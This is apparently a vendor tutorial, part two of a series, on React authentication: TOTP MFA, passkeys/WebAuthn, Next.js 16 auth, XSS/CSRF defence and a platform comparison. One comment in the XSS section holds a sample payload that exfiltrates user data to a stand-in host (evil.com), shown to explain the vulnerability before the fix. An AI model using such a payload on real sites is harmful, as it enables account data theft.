Skip to main content
Articles

React Authentication: From Protected Routes to Passkeys - Part 2

Author: Roy Anger
Published: (last updated )

How do I implement MFA, passkeys, and Next.js 16 authentication?

This is part two of a two-part series on React authentication. While part one covered foundational setup, token storage, and social login, this part dives into advanced security mechanisms. You will learn how to implement multi-factor authentication (MFA) and WebAuthn passkeys, protect against XSS and CSRF attacks, integrate with Next.js 16 Server Components, and evaluate authentication platform options.

Multi-factor authentication (MFA) in React

MFA blocks 99.9% of automated account compromises (Microsoft, 2019). A peer-reviewed Microsoft Research study refined that to 99.22% (Microsoft Research, 2023). Google found that zero users who exclusively used security keys fell victim to targeted phishing (Google Security Blog, 2019). On-device prompts blocked 100% of bots and 99% of bulk phishing in the same study.

OWASP ranks MFA factors by strength: passkeys > hardware keys > TOTP > push notifications > SMS (OWASP MFA Cheat Sheet). 83% of SMEs (2,500 or fewer employees) now require MFA (JumpCloud/Propeller Insights, 2024).

Here's a TOTP setup flow with Clerk. The useReverification() hook ensures the user re-authenticates before performing this sensitive action:

src/components/SetupTOTP.tsx
import { useState } from 'react'
import { useUser, useReverification } from '@clerk/react'
import type { TOTPResource } from '@clerk/shared/types'
import { QRCodeSVG } from 'qrcode.react'

export function SetupTOTP() {
  const { user } = useUser()
  const [totp, setTotp] = useState<TOTPResource | null>(null)
  const [code, setCode] = useState('')
  const [verified, setVerified] = useState(false)

  const createTOTP = useReverification(() => user?.createTOTP())

  const handleSetup = async () => {
    const totpResource = await createTOTP()
    if (totpResource) {
      setTotp(totpResource)
    }
  }

  const handleVerify = async () => {
    await user?.verifyTOTP({ code })
    setVerified(true)
  }

  if (verified) {
    return <p>MFA enabled.</p>
  }

  if (totp) {
    return (
      <div>
        <QRCodeSVG value={totp.uri} />
        <p>Scan this QR code with your authenticator app, then enter the code below.</p>
        <input
          type="text"
          value={code}
          onChange={(e) => setCode(e.target.value)}
          placeholder="Enter 6-digit code"
        />
        <button onClick={handleVerify}>Verify</button>
      </div>
    )
  }

  return <button onClick={handleSetup}>Set up two-factor authentication</button>
}

During sign-in, MFA verification looks like this:

src/components/MFAVerification.tsx
import { useState } from 'react'
import { useSignIn } from '@clerk/react'
import { useNavigate } from 'react-router'

export function MFAVerification() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const [code, setCode] = useState('')
  const navigate = useNavigate()

  const handleVerify = async () => {
    await signIn.mfa.verifyTOTP({ code })

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: async ({ session, decorateUrl }) => {
          if (session?.currentTask) {
            navigate(`/post-auth/${session.currentTask.key}`)
            return
          }
          const url = decorateUrl('/')
          url.startsWith('http') ? (window.location.href = url) : navigate(url)
        },
      })
    }
  }

  return (
    <div>
      <h2>Enter your verification code</h2>
      <input
        type="text"
        value={code}
        onChange={(e) => setCode(e.target.value)}
        placeholder="6-digit code"
      />
      <button onClick={handleVerify} disabled={fetchStatus === 'fetching'}>
        Verify
      </button>
      {errors.fields.code && <p>{errors.fields.code.message}</p>}
    </div>
  )
}

One important nuance: in FRSecure's incident response caseload of 65 BEC cases, 79% of victims in 2024-2025 had MFA enabled (FRSecure, 2025). Token theft and adversary-in-the-middle (AiTM) attacks bypass traditional MFA methods like SMS and push notifications. This is why phishing-resistant methods like passkeys matter.

Passkeys and WebAuthn: replacing passwords in React

Passkey adoption is accelerating. Over 1 billion people have activated passkeys, and 15 billion accounts now support them (FIDO Alliance, 2025). Success rates hit 93% vs 63% for traditional methods (FIDO Alliance Passkey Index, 2025).

Microsoft reports passkeys are 8x faster than password+MFA (Microsoft, 2025). The FIDO Alliance Passkey Index clocked passkey sign-ins at 8.5 seconds versus 31.2 seconds for email, SMS, and social sign-ins — a 73% reduction, or roughly 3.7x faster (FIDO Alliance Passkey Index, 2025).

Company-specific numbers: Google has 800 million accounts using passkeys, Amazon has 175 million passkeys created, and Microsoft sees 98% sign-in success with passkeys vs 32% with passwords (FIDO Alliance, 2025). 87% of enterprises are deploying passkeys (FIDO Alliance, 2025; HID Global, 2025; Dark Reading, 2025). CISA recommends FIDO2/WebAuthn as the "gold standard" for phishing-resistant MFA (CISA Fact Sheet).

How WebAuthn works (briefly): The server sends a random challenge. The authenticator (fingerprint sensor, face ID, or hardware key) signs it with a private key that never leaves the device. The server verifies the signature against the stored public key. Domain binding prevents phishing because the credential is tied to the exact origin.

Here's what raw WebAuthn registration looks like. This is intentionally verbose to show the API surface:

src/auth/webauthn-raw.ts
// Raw WebAuthn registration (simplified, showing the complexity)
async function registerPasskey(userId: string) {
  // 1. Fetch challenge from your server
  const options = await fetch('/api/webauthn/register-options', {
    method: 'POST',
    body: JSON.stringify({ userId }),
  }).then((r) => r.json())

  // 2. Call the browser's credential API
  const credential = await navigator.credentials.create({
    publicKey: {
      challenge: Uint8Array.from(options.challenge, (c) => c.charCodeAt(0)),
      rp: { name: 'Your App', id: window.location.hostname },
      user: {
        id: Uint8Array.from(userId, (c) => c.charCodeAt(0)),
        name: options.userName,
        displayName: options.displayName,
      },
      pubKeyCredParams: [
        { type: 'public-key', alg: -7 }, // ES256
        { type: 'public-key', alg: -257 }, // RS256
      ],
      authenticatorSelection: {
        residentKey: 'required',
        userVerification: 'preferred',
      },
      timeout: 60000,
    },
  })

  // 3. Send credential to server for verification and storage.
  // Use the credential's toJSON() — JSON.stringify(credential) drops the
  // ArrayBuffer fields and sends an empty object.
  await fetch('/api/webauthn/register-verify', {
    method: 'POST',
    body: JSON.stringify(credential?.toJSON()),
  })
}

That's the simplified version. A production implementation needs attestation validation, credential storage, error handling for every browser/authenticator combination, and fallback flows.

With Clerk, passkey registration is one method call:

src/components/CreatePasskey.tsx
import { useState } from 'react'
import { useUser } from '@clerk/react'

export function CreatePasskey() {
  const { user } = useUser()
  const [status, setStatus] = useState<'idle' | 'creating' | 'done'>('idle')

  const handleCreate = async () => {
    setStatus('creating')
    try {
      await user?.createPasskey()
      setStatus('done')
    } catch {
      setStatus('idle')
    }
  }

  if (status === 'done') return <p>Passkey created.</p>

  return (
    <button onClick={handleCreate} disabled={status === 'creating'}>
      {status === 'creating' ? 'Creating passkey...' : 'Add a passkey'}
    </button>
  )
}

Passkey sign-in with Clerk:

src/components/PasskeySignIn.tsx
import { useSignIn } from '@clerk/react'
import { useNavigate } from 'react-router'

export function PasskeySignIn() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const navigate = useNavigate()

  const handlePasskeySignIn = async () => {
    await signIn.passkey({ flow: 'discoverable' })

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: async ({ session, decorateUrl }) => {
          if (session?.currentTask) {
            navigate(`/post-auth/${session.currentTask.key}`)
            return
          }
          const url = decorateUrl('/')
          url.startsWith('http') ? (window.location.href = url) : navigate(url)
        },
      })
    }
  }

  return (
    <div>
      <button onClick={handlePasskeySignIn} disabled={fetchStatus === 'fetching'}>
        Sign in with passkey
      </button>
      {errors.global?.[0] && <p>{errors.global[0].message}</p>}
    </div>
  )
}

Browser support: Chrome 67+, Safari 16+, Firefox 119+, Edge 79+. Cross-platform on Windows, macOS, iOS, and Android.

Clerk Core 3 developer experience improvements

Core 3 (March 2026) redesigned how custom auth flows work in React. A few things that matter for the code in this article:

Stateful hooks and fetchStatus. useSignIn() and useSignUp() return stateful objects that trigger re-renders automatically. The hooks expose fetchStatus ('idle' | 'fetching') so you can show loading indicators without managing a separate boolean.

Structured field-level errors. errors.fields.identifier, errors.fields.password, errors.fields.code provide typed, field-specific error messages. Integrates cleanly with any form library.

Step methods map directly to the auth flow: signIn.password(), signIn.emailCode.sendCode(), signIn.mfa.verifyTOTP(), signIn.passkey(). Readable, discoverable, hard to misuse.

finalize() replaces setActive(). After a successful sign-in or sign-up, call signIn.finalize() with a navigate callback. The callback receives session (for checking currentTask) and decorateUrl (for URL decoration). This is the standard for completing auth flows in Core 3.

useReverification() handles sensitive actions (TOTP setup, password changes, account deletion) by requiring the user to re-authenticate before proceeding.

Session tasks via session.currentTask handle required post-auth steps (e.g., setup-mfa when MFA is mandatory). The finalize() callback must check for and handle these tasks.

Here's the error handling pattern in practice:

src/components/SignInForm.tsx
import { useState } from 'react'
import { useSignIn } from '@clerk/react'

export function SignInForm() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')

  const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault()
    await signIn.password({ emailAddress: email, password })
    // signIn.status updates automatically, triggering re-render
  }

  return (
    <form onSubmit={handleSubmit}>
      <input value={email} onChange={(e) => setEmail(e.target.value)} />
      {errors.fields.identifier && <p>{errors.fields.identifier.message}</p>}

      <input type="password" value={password} onChange={(e) => setPassword(e.target.value)} />
      {errors.fields.password && <p>{errors.fields.password.message}</p>}

      <button disabled={fetchStatus === 'fetching'}>
        {fetchStatus === 'fetching' ? 'Signing in...' : 'Sign in'}
      </button>
    </form>
  )
}

See the Core 3 Changelog for the full list of changes.

Preventing XSS and CSRF in React authentication

The OWASP Top 10:2025 renamed A07 to "Authentication Failures" with 36 mapped CWEs (OWASP, 2025). 26 billion credential stuffing attempts happen every month globally (IDDataWeb/Akamai).

XSS in auth context

React auto-escapes JSX output, which prevents most XSS. But dangerouslySetInnerHTML, URL props (href, src), and third-party scripts remain vectors. In an auth context, XSS can steal in-memory tokens during their lifespan, exfiltrate session data via API calls, or hijack active sessions.

src/components/insecure-profile.tsx
// ❌ VULNERABLE: User-controlled HTML rendered directly
export function InsecureProfile({ bio }: { bio: string }) {
  return <div dangerouslySetInnerHTML={{ __html: bio }} />
  // An attacker sets their bio to:
  // <img src=x onerror="fetch('/api/me').then(r=>r.json()).then(d=>fetch('https://evil.com/steal',{method:'POST',body:JSON.stringify(d)}))">
}

The fix: use React's default escaping, or sanitize with DOMPurify if you absolutely need innerHTML:

src/components/secure-profile.tsx
// ✅ SECURE: React escapes content by default
export function SecureProfile({ bio }: { bio: string }) {
  return <div>{bio}</div>
  // React escapes <, >, &, ", ' so no script execution is possible
}

If you absolutely need to render user-provided HTML (e.g., output from a rich text editor), sanitize it with DOMPurify:

src/components/safe-rich-text.tsx
import DOMPurify from 'dompurify'

export function SafeRichText({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
}

CSRF in auth context

CSRF is only a concern with cookie-based auth. If you're using Authorization: Bearer headers, browsers never auto-attach them cross-origin, so CSRF isn't a factor.

For cookie-based auth, the defense is layered: SameSite=Lax or SameSite=Strict cookies, plus CSRF tokens for state-changing operations. SameSite=Lax blocks cross-origin POST requests while allowing top-level navigations (GET), which covers most attack scenarios.

Security checklist

  • httpOnly + Secure + SameSite cookies for refresh tokens
  • In-memory access tokens, never localStorage
  • PKCE for all OAuth flows
  • Short token lifetimes (15-60 min access, rotate refresh tokens)
  • Content Security Policy headers with nonces (never unsafe-inline)
  • Rate limiting on login endpoints

Authentication in Next.js 16: Server Components and proxy.ts

Next.js 16 replaced middleware.ts with proxy.ts (Next.js Blog). The proxy runs on the Node.js runtime (not Edge), which means it can access databases, TCP sockets, and Node APIs directly.

All rendering is dynamic by default in Next.js 16. You opt into caching with cacheComponents: true in your config and "use cache" directives. No more guessing what's static vs dynamic.

Here's Clerk's proxy.ts setup for protected routes:

proxy.ts
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/settings(.*)', '/api(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) {
    await auth.protect()
  }
})

Server Component auth happens before any HTML reaches the client. No loading spinners, no flash of unauthorized content:

app/dashboard/page.tsx
import { auth } from '@clerk/nextjs/server'
import { redirect } from 'next/navigation'

export default async function DashboardPage() {
  const { userId, orgId } = await auth()

  if (!userId) {
    redirect('/sign-in')
  }

  return (
    <div>
      <h1>Dashboard</h1>
      <p>User: {userId}</p>
      {orgId && <p>Organization: {orgId}</p>}
    </div>
  )
}

Server Actions verify auth before mutations. They serve as the actual security boundary:

app/actions/update-profile.ts
'use server'

import { auth } from '@clerk/nextjs/server'

export async function updateProfile(formData: FormData) {
  const { userId } = await auth()

  if (!userId) {
    throw new Error('Unauthorized')
  }

  const name = formData.get('name') as string
  // Perform the update with verified userId
  await db.users.update({ where: { id: userId }, data: { name } })
}

The layered auth pattern: proxy.ts for optimistic route protection (fast, lightweight), Server Components for per-page auth, Server Actions for per-mutation auth. Each layer adds security without depending on the others.

Choosing an authentication platform for React

The React auth ecosystem has matured. The right choice depends on your stack, team size, and requirements.

Note

Pricing and free tier details below reflect each platform's published pricing as of March 19, 2026. Check Clerk, Auth0, Firebase, and Supabase pricing pages for the latest.

FeatureClerkAuth0Firebase AuthSupabase AuthCustom
React SDKDIY
Pre-built UIUniversal LoginFirebaseUI
Social Login
MFA (TOTP)Pro planUpgrade
PasskeysBeta
Enterprise SSOUpgradePaid
Organizations/B2BManual
Next.js 16 (proxy.ts)
Self-hosting
Free tier50K MRU25K MAU50K MAU50K MAUN/A
Setup complexityLowMediumLowMediumHigh

A note on free tier metrics. Clerk counts Monthly Retained Users (MRU): a user is "retained" when they return 24+ hours after signup. Other platforms count Monthly Active Users (MAU). The distinction matters for cost modeling.

Clerk. Purpose-built for React. Core 3 brings concurrent rendering support, ~50KB bundle savings, and redesigned hooks. 50K free MRU on the Hobby tier. MFA, custom session lifetimes, and branding removal require Pro ($25/mo, or $20/mo on annual billing). SOC 2 Type II certified, HIPAA and CCPA compliant. See the React Quickstart to get started.

Auth0. Most extensible via Actions. Full proxy.ts support since SDK v4.13.0. Steeper learning curve, and pricing escalates at scale.

Firebase Auth. Generous 50K free MAU, tight Google ecosystem integration. Limited enterprise features without upgrading to Identity Platform. Passkey/WebAuthn PRs have been merged in the JS and iOS SDKs but there's no official documentation or GA announcement as of March 2026.

Supabase Auth. Open source, self-hostable, PostgreSQL-native RLS. Organization management requires manual implementation. Passkey/WebAuthn auth and passkey management APIs are available experimentally: Supabase shipped passkeys for Supabase Auth in beta in May 2026 (@supabase/supabase-js v2.105.0+), with the API still subject to change and no GA date yet.

Custom/DIY. Full control, no per-MAU costs. Significant dev time (5-6 weeks basic, 12+ months production-grade) and ongoing security burden.

Conclusion

This concludes our two-part series on React authentication.

Authentication in React touches token security, session management, OAuth, MFA, passkeys, and XSS/CSRF prevention. Getting any piece wrong creates real vulnerability.

The managed platform ecosystem has matured. For React and Next.js teams, Clerk's component-first architecture and Core 3 SDK provide the shortest path from zero to production-grade auth.

The choice between DIY and managed depends on your team, timeline, and requirements. But the security math is clear: credential-based breaches cost $4.67M on average, higher than the $4.44M global average for all breach types (SpyCloud/IBM, 2025), and take 246 days to detect. Managed platforms eliminate entire categories of risk.

Frequently asked questions

In this series

  1. React Authentication: From Protected Routes to Passkeys
  2. React Authentication: From Protected Routes to Passkeys - Part 2 (you are here)